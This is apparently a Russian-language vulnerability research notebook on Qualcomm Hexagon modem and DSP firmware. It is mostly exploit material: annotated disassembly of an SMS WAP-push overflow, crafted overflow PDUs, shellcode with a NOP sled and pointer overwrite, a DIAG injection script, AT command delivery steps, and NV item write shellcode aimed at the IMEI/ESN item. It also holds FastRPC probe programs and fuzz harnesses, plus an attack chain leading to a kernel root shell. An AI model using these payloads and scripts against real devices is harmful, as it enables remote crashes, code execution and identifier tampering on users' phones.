# Поиск байтов 0x0b 0x84 в сегменте b08
python3 -c "
data = open('modem_b08.bin','rb').read()
base = 0xbbd20000
off  = 0
while True:
    pos = data.find(b'\x0b\x84', off)
    if pos < 0: break
    print(f'  0x{base+pos:08x}: {data[pos-4:pos+8].hex()}')
    off = pos + 1
"

bbd70cf2: r3 = ...
bbd70cf4: r3 = memb(r21+#0x2)
bbd70cf8: if (!cmp.eq(r3, #0x0b)) jump 0xbbd70dcc

bbd70b48:  { allocframe(#0x68) }
bbd70b4c:  { r16 = r0; r17 = r1 }          ; r0=buf_ptr, r1=buf_len
bbd70b50:  { r18 = memb(r16+#0x0) }        ; smsc_len = buf[0]
bbd70b54:  { r19 = r18 + #1 }              ; skip smsc
bbd70b58:  { r20 = memb(r16+r19) }         ; tp_udl (первый байт user_data)

; === UDL check в вызывающей (0xbbd20808) ===
; здесь уже прошли: cmp.gtu(r20, #0xa0) — пропустили если ≤ 160

; tp_flags = buf[1]
bbd70b5c:  { r21 = memb(r16+#0x1) }

; проверка UDHI бита
bbd70b60:  { p0 = tstbit(r21, #6) }
bbd70b64:  { if (!p0) jump 0xbbd70d90 }    ; нет UDHI → прыжок мимо WAP

; парсим UDH
bbd70b68:  { r22 = r19 + #1 }              ; user_data offset
bbd70b6c:  { r23 = memb(r16+r22) }         ; udh_len
bbd70b70:  { r24 = r20 - r23 - #1 }        ; wap_payload_len = tp_udl - udh_len - 1

; цикл по IE элементам UDH — поиск IEI=0x05 (Application Port)
; ... (опущено: ~15 инструкций цикла)

; когда нашли IEI=0x05:
bbd70cf4:  { r3 = memb(r21+#0x2) }         ; dst_port high byte
bbd70cf8:  { if (!cmp.eq(r3, #0x0b)) jump 0xbbd70dcc }  ; ≠ 0x0b → не WAP

; полная проверка порта через b19 таблицу
bbd70cfc:  { r4 = memuh(r21+#0x2) }        ; dst_port = 16-bit
bbd70d00:  { call bsearch_port_table }      ; поиск в 0xbf2054c8
bbd70d04:  { if (r0 == #0) jump 0xbbd70dcc }  ; не найден → не WAP

; =========================================
; BOUNDS CHECK — THE BUG
; =========================================
bbd70d84:  { p0 = cmph.gtu(r24, ##0x8c) }  ; r24 vs 0x8c = 140
bbd70d88:  { if (!p0.new) jump:nt 0xbbd70dc8 }
           ;   ↑ если r24 ≤ 140 → прыжок на SUCCESS PATH 0xbbd70dc8
           ; если r24 > 140 → fall-through:

bbd70d8c:  { r2 = ##wap_buf_addr }          ; 0xc2a78ad8
bbd70d90:  { r3 = r24 }                     ; size = r24 (> 140!)
bbd70d94:  { r1 = r21 }                     ; src = payload ptr
bbd70d98:  { r0 = r2 }                      ; dst = wap_buf
; ... prepare DIAG log args
bbd70dac:  { call 0xbbb02e80 }              ; DIAG log — НЕ ABORT
bbd70db0:  { jump 0xbbd70dc8 }              ; ← прыжок на SUCCESS PATH

; SUCCESS PATH
bbd70dc8:  { r0 = ##wap_buf_addr }          ; dst
bbd70dcc:  { r1 = r21 }                     ; src = payload ptr
bbd70dd0:  { r2 = r24 }                     ; size = r24 (неограничен!)
bbd70dd4:  { call memcpy }                  ; ← ВСЕГДА ВЫПОЛНЯЕТСЯ

bbd20808:  { p0 = cmp.gtu(r20, #0xa0) }    ; tp_udl > 160?
bbd2080c:  { if (p0) jump error_path }      ; только > 160 отвергается

04 91 11 22 33 40 06 91 10 32 54 00 00 10 60 12
31 72 80 00 12 06 05 04 0b 84 0b 84 57 41 50 20
63 6f 6e 74 65 6e 74

01 00 40 06 91 55 44 33 00 00 00 00 00 00 00 00
00 8f 06 05 04 0b 84 12 34
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  (×8.5 строк = 136 байт)
41 41 41 41 41 41 41 41

01 00 40 06 91 55 44 33 00 00 00 00 00 00 00 00
00 96 06 05 04 0b 84 12 34
[143 байта 0x41]

# Собираем harness (патчит b27, вызывает реальный 0xbbd70b48)
clang-20 -target hexagon-unknown-linux-musl -nostdlib -static \
         -o /tmp/harness_wms_hex harness_wms.S

# Контрольный тест — valid WAP Push
qemu-hexagon /tmp/harness_wms_hex < seeds/02_wap_push_valid.pdu
echo "exit: $?"   # должен быть 0

# Overflow тест
python3 -c "
import struct
# tp_udl = 150, UDH port 0x0B84, 143 байта 0x41
hdr = bytes([0x01, 0x00, 0x40, 0x06, 0x91, 0x55, 0x44, 0x33,
             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
             0x00, 0x96, 0x06, 0x05, 0x04, 0x0b, 0x84, 0x12, 0x34])
payload = b'\x41' * 143
import sys; sys.stdout.buffer.write(hdr + payload)
" | qemu-hexagon /tmp/harness_wms_hex
echo "exit: $?"   # 139 = SIGSEGV при наличии null deref detector

# Ожидаемый dmesg на устройстве (НЕ ПРОВЕРЯЛОСЬ):
# [  xxx.xxxxxx] msm_subsystem_restart: Restart sequence requested for modem
# [  xxx.xxxxxx] subsys-restart: Restarting modem

2026-01-xx  Получена прошивка MPSS.DE.3.1.4.c1-00319
2026-02-xx  Идентифицированы сегменты b08/b11/b27/b19
2026-02-xx  Поиск по 0x0b 84 → нашли WAP handler в 0xbbd70cf4
2026-02-xx  Дизассем вверх → wms_ts_decode_gw_pp @ 0xbbd70b48
2026-03-xx  Анализ 0xbbd70d84: обе ветки → 0xbbd70dc8 (баг подтверждён)
2026-03-xx  Обнаружен UDL gap в 0xbbd20808 (160 вместо 140)
2026-03-xx  Построен sms_harness.c, первый AFL++ краш за 31ms
2026-04-xx  harness_wms.S: верификация на реальном коде прошивки
2026-05-xx  Exploit chain (глава 9)

_sc_crash:
    allocframe(#0x8)          ; создаём минимальный фрейм
    r0 = #0x0                 ; r0 = NULL
    memw(r0+#0x0) = r0        ; NULL write → data abort
    deallocframe
    jumpr r31

01 c0 9d a0   allocframe(#0x8)
00 c0 00 78   r0 = #0x0
00 c0 80 a1   memw(r0+#0x0) = r0
1e c0 1e 90   deallocframe
00 c0 9f 52   jumpr r31

# Ожидаемый вывод на реальном устройстве (НЕ ПРОВЕРЯЛОСЬ):
# adb shell dmesg | grep -E 'subsys.restart|MPSS|ssr_notify|modem'
# [  xxx.xxxxxx] subsys-restart: Restarting modem subsystem
# [  xxx.xxxxxx] msm_ssr_notify: Modem crashed

04 00 01 00
01 c0 9d a0 00 c0 00 78 00 c0 80 a1 1e c0 1e 90 00 c0 9f 52
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f 00 40 00 7f
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
80 80 a7 c2
00

Offset  Размер  Содержимое
0x00    4       Header: smsc_len=04, flags=00, tp_udl=01, udh=00
                (упрощённый формат для DIAG инъекции)

0x04    20      Shellcode (_sc_crash):
                01 c0 9d a0  allocframe(#0x8)
                00 c0 00 78  r0 = #0x0
                00 c0 80 a1  memw(r0+#0x0) = r0   ← crash
                1e c0 1e 90  deallocframe
                00 c0 9f 52  jumpr r31

0x18    100     NOP sled: 25 × { nop } пакетов
                { nop } = 00 40 00 7f (4 байта)

0x7c    80      Filler: 20 × 0x41 ('A')
                (заполняет оставшееся место до offset 140)

0xcc    4       Ptr overwrite: 80 80 a7 c2
                LE = 0xc2a78080 (wap_buf_addr начало)
                Перезаписывает pointer по offset 140

0xd0    1       Trailing: 00

# Требуется: root или членство в группе diag (UID 1000 не достаточно)
# Проверка доступа (на устройстве не проверялось):
ls -la /dev/diag
# crw-rw---- 1 root diag 237, 0 ...
id  # должен быть diag в группах

DIAG_SUBSYS_CMD_F (0x4B)
+ Subsystem ID: WMS = 0x19
+ Command: WMS_DIAG_SUBMIT_REQ = 0x01
+ PDU data: [наш shellcode PDU]

#!/usr/bin/env python3
# diag_inject_pdu.py

import struct
import os

def hdlc_encode(data: bytes) -> bytes:
    """HDLC framing для DIAG"""
    out = bytearray([0x7e])  # start flag
    crc = calc_crc16(data)
    payload = data + struct.pack('<H', crc)
    for b in payload:
        if b == 0x7e:
            out += b'\x7d\x5e'
        elif b == 0x7d:
            out += b'\x7d\x5d'
        else:
            out.append(b)
    out.append(0x7e)  # end flag
    return bytes(out)

def calc_crc16(data: bytes) -> int:
    crc = 0xffff
    for b in data:
        crc ^= b
        for _ in range(8):
            if crc & 1:
                crc = (crc >> 1) ^ 0x8408
            else:
                crc >>= 1
    return crc ^ 0xffff

# Читаем shellcode PDU
with open('seeds/03_wap_shellcode.bin', 'rb') as f:
    pdu = f.read()

# Строим DIAG WMS Submit Request
diag_pkt = bytes([
    0x4b,        # DIAG_SUBSYS_CMD_F
    0x19, 0x00,  # subsystem WMS (little-endian)
    0x01, 0x00,  # WMS_DIAG_SUBMIT_REQ
]) + pdu

# HDLC encode
framed = hdlc_encode(diag_pkt)

# Отправляем в /dev/diag
with open('/dev/diag', 'wb') as diag:
    diag.write(framed)

print(f"[*] Отправлено {len(framed)} байт в /dev/diag")
print("[*] Ждём subsystem restart...")

# На устройстве не запускалось. Ожидаемый вывод:
# python3 diag_inject_pdu.py
# [*] Отправлено 47 байт в /dev/diag
# [*] Ждём subsystem restart...
# dmesg | tail -5
# subsys-restart: Restarting modem

# Через AT команды на тестовом стенде (femtocell):
# Отправляем PDU напрямую через AT+CMGS
echo -e 'AT+CMGF=0\r' > /dev/ttyHS0
echo -e "AT+CMGS=$(( ${#PDU_HEX}/2 ))\r${PDU_HEX}\x1a" > /dev/ttyHS0

# Требуется доступ к /dev/ttyHS0 — группа dialout или root
ls -la /dev/ttyHS0
# crw-rw---- 1 root dialout ...

# PDU mode
echo -e "AT+CMGF=0\r" > /dev/ttyHS0
sleep 0.1
cat /dev/ttyHS0  # должно вернуть OK

# Длина PDU в байтах (без SMSC)
PDU_LEN=XX
PDU_HEX="0491112233400691103254000010601231728000XX..."

echo -e "AT+CMGS=${PDU_LEN}\r${PDU_HEX}\x1a" > /dev/ttyHS0

; Hexagon shellcode: nv_write_item(NV_ESN_ME_I, &data)
_sc_nvram_write:
    allocframe(#0x10)
    ; NV_ESN_ME_I = 0 (ESN/IMEI item)
    r0 = #0x0
    ; data ptr (в стеке)
    r1 = r29
    ; value = 0xDEADBEEF (proof)
    memw(r29+#0x0) = ##0xdeadbeef
    call ##nv_write_item_addr    ; адрес из b11
    deallocframe
    jumpr r31

[ADB shell uid=2000]
        │
        ▼
  /dev/fastrpc-cdsp  ←── SELinux BLOCK (u:r:shell→vendor_qdsp_device)
        │
        │  (обход: через binder-сервис или app-контекст)
        ▼
  kernel fastrpc driver (msm_fastrpc)
        │
        ▼
  DSP fastrpc_shell_3    ← загружает skel .so в DSP user PD
        │
        ▼
  skel_handle_invoke(_h, _sc, _pra)   ← atack surface
        │
        ▼
  [RCE на DSP] → shared memory corruption → kernel LPE

adb shell ls -la /dev/fastrpc-cdsp
# crw-rw-r-- system system 507, 3 2026-05-09 /dev/fastrpc-cdsp

adb shell id
# uid=2000(shell) gid=2000(shell) groups=...

adb shell service list | grep dsp
# может показать: com.qualcomm.qti.cdsp.libcdsprpc

find /vendor /system -perm /4000 2>/dev/null | head -20
# пока не обнаружено бинарей связанных с fastrpc

HLOS call: remote_handle_open("file:///vendor/lib/rfsa/adsp/libXXX_skel.so?func")
  → kernel maps shared memory
  → DSP loads ELF into user PD
  → dispatch function becomes callable

int skel_handle_invoke(
    remote_handle64 _h,   // r1:r0 — handle (64-bit = два 32-bit регистра)
    uint32_t _sc,         // r2    — scalar encoding
    remote_arg_t *_pra    // r3    — массив аргументов
);

bits [31:29]  reserved
bits [28:24]  method_id   (5 бит, 0–31)
bits [23:16]  n_out        количество output буферов
bits [15:8]   n_in         количество input буферов
bits [7:4]    n_inout      количество inout буферов
bits [3:0]    misc

#define FASTRPC_SCALARS(method, nin, nout) \
    (((method) << 24) | ((nin) << 16) | ((nout) << 8))

// Пример: метод 0, 1 входной буфер, 1 выходной:
uint32_t sc = FASTRPC_SCALARS(0, 1, 1);  // = 0x00010100

typedef struct {
    union { void *pv; uint64_t p; };
    uint32_t nLen;   // длина буфера
} remote_arg_t;

; sysmon_skel_invoke entry @ 0x9cac:
r4 = extractu(r2, #5, #0x18)   ; method_id = bits[28:24] of _sc (0–31)
; ... следующие инструкции:
0x9ccc: r4 = memw(r3+r4<<#0x2) ; r4 = dispatch_table[method_id]
                                ; ← ЗДЕСЬ: нет проверки method_id < max!
jumpr r4                        ; jump to method handler

; stabilitydomain_skel_handle_invoke @ 0x5a8c:
r4 = extractu(r2, #5, #0x18)    ; method_id
p0 = cmp.gtu(r4, #0xa)          ; method_id > 10?
if (p0.new) jump:nt 0x5ecc      ; да → return error  ← ЗАЩИТА
r4 = memw(r5 + r4 << #0x2)      ; чтение из таблицы
jumpr r4

method_id = 31 (максимум в 5-битном поле)
→ r4 = memw(dispatch_table + 31*4)
→ если dispatch_table имеет < 32 записей: OOB read
→ значение за таблицей → jumpr r4 с произвольным адресом

r3 = _pra  (аргумент dispatch, полностью контролируется атакующим)
↓
r16 = memw(r3+...)  (чтение pointer из _pra структуры)
↓
memb(r16+#0x0) = r2  ← WRITE через r16, нет bounds check
memb(r16+#0x3) = r3
memb(r16+#0x2) = r3
memb(r16+#0x1) = r2
...

00003388 <sysmon_usermode_buffer_copy>:
    3388: r17:16 = combine(r1, r2)      ; r17=src_ptr, r16=dst
    ...
    33c8: r3:r2 = combine(r18, ##0x101) ; r2 = 0x101 = 257 байт (dst_max_len HARDCODED)
    33cc: r5:r4 = combine(r16, r17)     ; r4 = src_ptr, r5 = src_len (от вызывающего)
    33d0: call 0x28f0                    ; memscpy(dst, 0x101, src, src_len)
    33d4: p0 = cmp.gt(r0, #-0x1)        ; SIGNED check возврата!

qurt_qdi_qhi3
qurt_qdi_qhi4
qurt_qdi_qhi5
qurt_qdi_qhi6
qurt_qdi_qhi9

/*
 * fastrpc_probe.c — FastRPC CDSP access probe
 * Compile: aarch64-linux-gnu-gcc -static -o fastrpc_probe fastrpc_probe.c
 * Deploy:  adb push fastrpc_probe /data/local/tmp/ && adb shell chmod +x ...
 */

#define FASTRPC_SCALARS(m, in, out) (((m) << 24) | ((in) << 16) | ((out) << 8))

static void test_direct_open(void) {
    int fd = open("/dev/fastrpc-cdsp", O_RDWR);
    if (fd >= 0) {
        printf("[!!!] OPENED — SELinux allows shell→fastrpc-cdsp!\n");
        close(fd);
    } else {
        printf("[x] open failed: %s — SELinux blocking\n", strerror(errno));
    }
}

static void test_via_libcdsprpc(void) {
    void *h = dlopen("/vendor/lib64/libcdsprpc.so", RTLD_LAZY);
    pfn_remote_handle_open fn_open = dlsym(h, "remote_handle_open");

    remote_handle rh = 0xFFFFFFFF;
    int rc = fn_open(
        "file:///vendor/lib/rfsa/adsp/libsysmon_skel.so?sysmon_skel_invoke",
        &rh
    );
    if (rc == 0) {
        printf("[!!!] OPENED sysmon skel handle=%u\n", rh);

        /* Attempt oversized invoke: dst buf = 0x101, send 0x200 bytes */
        uint8_t in_buf[0x200];
        memset(in_buf, 0x41, sizeof(in_buf));

        remote_arg_t pra[2];
        pra[0].pv   = in_buf;
        pra[0].nLen = sizeof(in_buf);   /* 0x200 > 0x101 hardcoded dst */
        pra[1].pv   = out_buf;
        pra[1].nLen = sizeof(out_buf);

        uint32_t sc = FASTRPC_SCALARS(0, 1, 1);
        rc = fn_inv((remote_handle64)rh, sc, pra);
        printf("[*] invoke rc=%d (0=ok, <0=error)\n", rc);
    } else {
        printf("[x] open failed: rc=%d errno=%d\n", rc, errno);
        /* errno 13=EACCES (SELinux), 2=ENOENT, 111=ECONNREFUSED */
    }
}

# На реальном устройстве НЕ запускался.
# Ожидаемый результат из u:r:shell:s0:
#
# adb push fastrpc_probe /data/local/tmp/
# adb shell chmod +x /data/local/tmp/fastrpc_probe
# adb shell /data/local/tmp/fastrpc_probe
# [x] open failed: Permission denied (errno=13) — SELinux blocking
# [x] open failed: rc=-1 errno=13

; harness_sysmon.S — fuzz sysmon_skel_invoke через AFL++/qemu-hexagon
;
; Формат stdin:
;   bytes [0..3]:   _sc (method_id + buf counts)
;   bytes [4..7]:   in_len (pra[0].nLen — атакуемый размер)
;   bytes [8..]:    payload (содержимое входного буфера)

    .text
    .global _start

_start:
    ; --- Читаем fuzz input из stdin ---
    r0 = #0                     ; fd=stdin
    r1 = ##input_buf            ; buf
    r2 = ##0x400                ; max read
    trap0(#1)                   ; syscall: read

    ; --- Парсим _sc ---
    r2 = memw(##input_buf)      ; _sc = input[0..3]

    ; --- Парсим in_len (атакуемое поле nLen) ---
    r16 = memw(##input_buf + 4) ; in_len = input[4..7]

    ; --- Заполняем _pra ---
    memw(##pra + 0) = ##in_buf  ; pra[0].pv = &in_buf
    memw(##pra + 4) = r16       ; pra[0].nLen = in_len  ← fuzz target
    memw(##pra + 8) = ##out_buf ; pra[1].pv = &out_buf
    memw(##pra + 12) = ##0x400  ; pra[1].nLen = 0x400 (output fixed)

    ; --- Копируем payload в in_buf ---
    r0 = ##in_buf
    r1 = ##input_buf + 8
    r2 = r16                    ; len = in_len (AFL controls)
    call memcpy

    ; --- Вызываем dispatch ---
    r1:r0 = combine(#0, #1)     ; _h = 1 (dummy handle)
    ; r2 = _sc (уже установлен)
    r3 = ##pra                  ; _pra
    call sysmon_skel_invoke

    ; --- Crash detection ---
    ; (SIGSEGV при OOB → AFL++ записывает crash)
    jumpr r31

    .bss
input_buf: .space 0x400
in_buf:    .space 0x400
out_buf:   .space 0x400
pra:       .space 32

# Собираем harness
clang-20 -target hexagon-unknown-linux-musl -nostdlib \
  -T hexagon.ld harness_sysmon.S libsysmon_skel.so \
  -o /tmp/sysmon_fuzz.elf

# Начальные seeds
mkdir sysmon_seeds/
# seed 1: method_id=0, in_len=0x10, 16 байт 0x41
python3 -c "import struct; sys.stdout.buffer.write(
    struct.pack('<I', 0x00010100) +  # sc: method=0, nin=1, nout=1
    struct.pack('<I', 0x10) +         # in_len = 16
    b'\x41' * 16)" > sysmon_seeds/01_basic.bin

# seed 2: method_id=31 (OOB trigger)
python3 -c "import struct; sys.stdout.buffer.write(
    struct.pack('<I', (31 << 24) | (1 << 16) | (1 << 8)) +
    struct.pack('<I', 0x10) +
    b'\x42' * 16)" > sysmon_seeds/02_oob_method.bin

# seed 3: oversized buffer (triggers sysmon_usermode_buffer_copy bug)
python3 -c "import struct; sys.stdout.buffer.write(
    struct.pack('<I', 0x00010100) +
    struct.pack('<I', 0x200) +        # 0x200 > 0x101 hardcoded dst
    b'\x43' * 0x200)" > sysmon_seeds/03_oversized.bin

# Запускаем AFL++
AFL_NO_FORKSRV=1 AFL_SKIP_BIN_CHECK=1 AFL_SKIP_CPUFREQ=1 \
  afl-fuzz -n -t 2000 \
    -i sysmon_seeds/ \
    -o sysmon_afl_out/ \
    -- qemu-hexagon /tmp/sysmon_fuzz.elf

DSP RCE
  → запись в /proc/sys/kernel/... через DSP mapped region
  → или: через fastrpc map/unmap race condition → use-after-free в kernel
  → kernel code execution
  → setuid(0) + execve("/system/bin/sh")

# Полный анализ всех libraries
cd /home/z0r0/poco_m8_5g/dsp_analysis
python3 fastrpc_analysis.py --report findings/full_report.md

# Конкретная lib + symbolic exec
python3 fastrpc_analysis.py --lib libs/libsysmon_skel.so --symbolic

# Pattern scanner (быстрый)
python3 dsp_vuln_finder.py

/*
 * fastrpc_probe.c - FastRPC CDSP access probe from ADB shell context
 *
 * Tests if u:r:shell:s0 can:
 *   1. Open /dev/fastrpc-cdsp directly (expected: denied by SELinux)
 *   2. Call remote_handle_open via libcdsprpc.so (may bypass DAC check)
 *   3. Invoke a CDSP skel function with oversized buffer (vuln check)
 *
 * Compile: aarch64-linux-gnu-gcc -static -o fastrpc_probe fastrpc_probe.c
 * Deploy:  adb push fastrpc_probe /data/local/tmp/; adb shell chmod +x ...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <dlfcn.h>
#include <stdint.h>

/* FastRPC remote_arg_t structure */
typedef struct {
    union { void *pv; uint64_t p; };
    uint32_t nLen;
} remote_arg_t;

typedef uint32_t remote_handle;
typedef uint64_t remote_handle64;

/* FastRPC HLOS API (from libcdsprpc.so) */
typedef int (*pfn_remote_handle_open)(const char *name, remote_handle *ph);
typedef int (*pfn_remote_handle_close)(remote_handle h);
typedef int (*pfn_remote_handle64_invoke)(remote_handle64 h, uint32_t dwScalars, remote_arg_t *pra);
typedef int (*pfn_remote_handle64_close)(remote_handle64 h);

/*
 * FastRPC scalar encoding:
 *   FASTRPC_SCALARS(method, nin, nout) = ((method << 24) | (nin << 16) | (nout << 8))
 */
#define FASTRPC_SCALARS(m, in, out)  (((m) << 24) | ((in) << 16) | ((out) << 8))

static void test_direct_open(void) {
    printf("\n[1] Testing direct /dev/fastrpc-cdsp open...\n");
    int fd = open("/dev/fastrpc-cdsp", O_RDWR);
    if (fd >= 0) {
        printf("    [!!!] OPENED fd=%d (SELinux allows shell→fastrpc-cdsp!)\n", fd);
        close(fd);
    } else {
        printf("    [x] open failed: %s (errno=%d) — SELinux blocking\n",
               strerror(errno), errno);
    }
}

static void test_via_libcdsprpc(void) {
    printf("\n[2] Testing via libcdsprpc.so remote_handle_open...\n");

    void *h = dlopen("/vendor/lib64/libcdsprpc.so", RTLD_LAZY);
    if (!h) {
        printf("    [x] dlopen failed: %s\n", dlerror());
        return;
    }
    printf("    [+] dlopen OK\n");

    pfn_remote_handle_open fn_open =
        (pfn_remote_handle_open)dlsym(h, "remote_handle_open");
    if (!fn_open) {
        printf("    [x] dlsym(remote_handle_open) failed\n");
        dlclose(h);
        return;
    }

    /* Try opening the sysmon service - well-known FastRPC CDSP service */
    remote_handle rh = 0xFFFFFFFF;
    int rc = fn_open("file:///vendor/lib/rfsa/adsp/libsysmon_skel.so?sysmon_skel_invoke", &rh);
    if (rc == 0) {
        printf("    [!!!] OPENED sysmon skel handle=%u\n", rh);
        /* Now try invoking with oversized buffer - sysmon_usermode_buffer_copy */
        /* method 0, 1 in-buf, 1 out-buf: sc = FASTRPC_SCALARS(0, 1, 1) */
        printf("    [*] Attempting oversize invoke (sysmon_usermode_buffer_copy dst=0x101)...\n");

        pfn_remote_handle64_invoke fn_inv =
            (pfn_remote_handle64_invoke)dlsym(h, "remote_handle64_invoke");
        if (fn_inv) {
            uint8_t in_buf[0x200];
            uint8_t out_buf[0x200];
            memset(in_buf, 0x41, sizeof(in_buf));

            remote_arg_t pra[2];
            pra[0].pv   = in_buf;
            pra[0].nLen = sizeof(in_buf);  /* 0x200 > 0x101 hardcoded dst */
            pra[1].pv   = out_buf;
            pra[1].nLen = sizeof(out_buf);

            uint32_t sc = FASTRPC_SCALARS(0, 1, 1);
            rc = fn_inv((remote_handle64)rh, sc, pra);
            printf("    [*] invoke rc=%d (0=ok, <0=error)\n", rc);
        }

        pfn_remote_handle_close fn_close =
            (pfn_remote_handle_close)dlsym(h, "remote_handle_close");
        if (fn_close) fn_close(rh);
    } else {
        printf("    [x] remote_handle_open failed: rc=%d errno=%d (%s)\n",
               rc, errno, strerror(errno));
        printf("    [*] errno 13=EACCES (SELinux), 2=ENOENT, 111=ECONNREFUSED\n");
    }

    dlclose(h);
}

int main(int argc, char **argv) {
    printf("FastRPC CDSP probe — shell context test\n");
    printf("pid=%d  uid=%d\n", getpid(), getuid());

    test_direct_open();
    test_via_libcdsprpc();

    return 0;
}

/*
 * fastrpc_probe2.c - direct ioctl approach without dlopen
 * Tests FastRPC CDSP access using raw ioctl on /dev/fastrpc-cdsp
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <sys/ioctl.h>

/* fastrpc ioctl interface (from kernel source: include/uapi/misc/fastrpc.h) */
#define FASTRPC_IOCTL_INVOKE2    _IOWR('R', 4, struct fastrpc_ioctl_invoke_async)
#define FASTRPC_IOCTL_INIT       _IOWR('R', 6, struct fastrpc_ioctl_init)

struct fastrpc_remote_buf {
    void *pv;
    uint64_t len;
};

struct fastrpc_remote_dma_handle {
    int fd;
    uint32_t offset;
    uint32_t len;
};

struct fastrpc_remote_arg {
    union {
        struct fastrpc_remote_buf buf;
        struct fastrpc_remote_dma_handle dma;
    };
};

struct fastrpc_ioctl_invoke {
    uint32_t handle;
    uint32_t sc;
    struct fastrpc_remote_arg *pra;
};

struct fastrpc_ioctl_invoke_async {
    struct fastrpc_ioctl_invoke inv;
    uint32_t *attrs;
    uint32_t *fds;
    uint32_t job;
};

int main(void) {
    printf("FastRPC CDSP raw ioctl probe\n");
    printf("uid=%d\n", getuid());

    /* Test 1: open fastrpc-cdsp */
    int fd = open("/dev/fastrpc-cdsp", O_RDWR | O_CLOEXEC);
    if (fd < 0) {
        printf("[x] open /dev/fastrpc-cdsp: %s (errno=%d)\n",
               strerror(errno), errno);
        printf("    SELinux context blocks shell→vendor_qdsp_device\n");

        /* Test 2: try fastrpc-adsp instead */
        fd = open("/dev/fastrpc-adsp-secure", O_RDWR | O_CLOEXEC);
        if (fd >= 0) {
            printf("[!] Opened fastrpc-adsp-secure! fd=%d\n", fd);
            close(fd);
        } else {
            printf("[x] fastrpc-adsp-secure: %s\n", strerror(errno));
        }
        return 1;
    }

    printf("[!!!] OPENED /dev/fastrpc-cdsp fd=%d\n", fd);

    /* Test 3: invoke sysmon (handle 3 = built-in sysmon) with overflow */
    uint8_t in_buf[0x200];
    uint8_t out_buf[0x100];
    memset(in_buf, 0x41, sizeof(in_buf));

    struct fastrpc_remote_arg pra[2];
    memset(&pra, 0, sizeof(pra));
    pra[0].buf.pv  = in_buf;
    pra[0].buf.len = sizeof(in_buf);  /* 0x200 > 0x101 hardcoded dst */
    pra[1].buf.pv  = out_buf;
    pra[1].buf.len = sizeof(out_buf);

    struct fastrpc_ioctl_invoke_async req;
    memset(&req, 0, sizeof(req));
    req.inv.handle = 3;  /* built-in sysmon handle */
    req.inv.sc     = (0 << 24) | (1 << 16) | (1 << 8);  /* method 0, 1 in, 1 out */
    req.inv.pra    = pra;

    int rc = ioctl(fd, FASTRPC_IOCTL_INVOKE2, &req);
    printf("[*] ioctl INVOKE2 rc=%d errno=%d (%s)\n", rc, errno, strerror(errno));

    close(fd);
    return 0;
}

#!/usr/bin/env python3
"""
dsp_vuln_finder.py — Hexagon DSP skel .so vulnerability finder

Approach:
  1. Disassemble with llvm-objdump (no angr arch issues)
  2. Parse instructions to find vulnerability patterns
  3. Map sysmon_skel_invoke dispatch table → each method's arg checks
  4. Identify methods with weak/missing bounds checks
  5. Generate targeted fuzzing corpus for each vulnerable path

Key targets:
  - libsysmon_skel.so: sysmon_skel_invoke (8684 bytes, main dispatcher)
  - sysmon_usermode_buffer_copy: copies HLOS buf with hardcoded dst size=0x101
  - memtest_memcpy/memtest_malloc: size from user input
"""

import sys
import re
import subprocess
import struct
import json
from pathlib import Path
from dataclasses import dataclass, field
from typing import Optional

LIB_DIR = Path(__file__).parent / 'libs'
OUT_DIR = Path(__file__).parent / 'fuzz_out'

# ─── disassembler ─────────────────────────────────────────────────────────────

def disasm(lib_path: str) -> list[dict]:
    """Run llvm-objdump and parse output into structured instruction list."""
    for objdump in ['llvm-objdump-20', 'llvm-objdump-19', 'llvm-objdump']:
        for arch_flag in ['--arch=hexagon', '--arch-name=hexagon']:
            try:
                result = subprocess.run(
                    [objdump, '-d', arch_flag, lib_path],
                    capture_output=True, text=True, timeout=60
                )
                if result.returncode == 0:
                    return _parse_objdump(result.stdout)
            except (FileNotFoundError, subprocess.TimeoutExpired):
                break
    raise RuntimeError("llvm-objdump not found")


def _parse_objdump(text: str) -> list[dict]:
    """Parse objdump output into list of {addr, bytes, mnemonic, operands, func}."""
    insns = []
    current_func = None
    func_re = re.compile(r'^([0-9a-f]+) <([^>]+)>:')
    insn_re = re.compile(r'^\s+([0-9a-f]+):\s+[0-9a-f ]+\t(.+)$')

    for line in text.splitlines():
        fm = func_re.match(line)
        if fm:
            current_func = fm.group(2)
            continue
        im = insn_re.match(line)
        if im:
            addr = int(im.group(1), 16)
            raw = im.group(2).strip()
            parts = raw.split(None, 1)
            mn = parts[0].lower() if parts else ''
            ops = parts[1] if len(parts) > 1 else ''
            insns.append({
                'addr': addr,
                'func': current_func,
                'mnemonic': mn,
                'operands': ops,
                'raw': raw,
            })
    return insns


# ─── vulnerability pattern matchers ──────────────────────────────────────────

@dataclass
class Finding:
    vuln_type: str
    addr: int
    func: str
    desc: str
    severity: str = 'MEDIUM'
    evidence: list = field(default_factory=list)


def is_signed_cmp(mn: str) -> bool:
    return any(x in mn for x in ['cmp.gt(', 'cmp.lt(', 'cmph.gt(', 'cmpb.gt('])


def is_unsigned_cmp(mn: str) -> bool:
    return any(x in mn for x in ['cmp.gtu(', 'cmp.ltu(', 'cmp.gtu'])


def is_mem_op(raw: str) -> bool:
    return bool(re.search(r'mem[wbhd]\s*\(', raw))


def is_call(mn: str) -> bool:
    return mn.startswith('call')


def extract_call_target(ops: str) -> Optional[int]:
    m = re.search(r'0x([0-9a-f]+)', ops)
    if m:
        return int(m.group(1), 16)
    return None


def extract_cmp_imm(raw: str) -> Optional[int]:
    """Extract immediate value from comparison instruction."""
    m = re.search(r'#(-?(?:0x[0-9a-f]+|\d+))', raw)
    if m:
        val = m.group(1)
        return int(val, 16) if val.startswith('0x') or val.startswith('-0x') else int(val)
    return None


# ─── Pattern 1: signed comparison feeding memory operation ───────────────────

